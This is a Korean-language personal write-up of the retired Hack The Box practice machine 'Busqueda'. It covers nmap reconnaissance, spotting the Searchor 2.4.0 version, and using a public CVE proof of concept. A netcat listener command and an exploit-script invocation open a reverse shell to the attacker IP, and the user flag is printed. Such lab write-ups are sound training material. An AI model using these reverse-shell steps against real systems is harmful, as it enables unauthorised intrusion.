← 전체 Write-Up

RedTeam / Hack The Box / RETIRED MACHINE

Busqueda

Searchor 공개 취약점을 이용한 셸 접근 및 사용자 플래그 확보.

읽기 안내

Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.

원문에 첨부된 외부 참고 개체의 목적지는 확인되지 않아 해당 Notion 원문 위치로 안내합니다. 수집된 본문·코드·실습 화면은 그대로 담았습니다.

Busqueda

정보

Box IP: 10.10.11.208 Attacker IP: 10.10.16.5

Recon

Busqueda — 실습 화면 1

nmap -sV -sC 10.10.11.208

80포트 열려있다. 접속해보면 아마 접속이 안될텐데 /etc/hosts에 ip와 도메인을 추가하고 접속해보자.

Busqueda — 실습 화면 2

검색엔진이랑 선택한 검색엔진으로 검색할 키워드를 넣는 칸이 있다. 딱히 그렇다 할 취약점이 발견되지 않았다.

근데 밑에 Flask로 구동중인 Searchor 2.4.0 이라는 버전이 나와있다. CVE가 있는지 찾아보자.

원문에 첨부된 참고 링크 보기

다행히 PoC가 존재하는 CVE다.

PoC

Busqueda — 실습 화면 3

Busqueda — 실습 화면 4

nc -nvlp 9001

해당 명령어로 리스닝 상태로 준비 시켜놓고

./exploit.sh searcher.htb 10.10.16.5 #local kali IP

를 하면 리버스 쉘이 연결 된다.

Busqueda — 실습 화면 5

이렇게 user flag를 따낼 수 있다.

b4eb03ff5e72ebf0284f02e41ca2e9cc

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.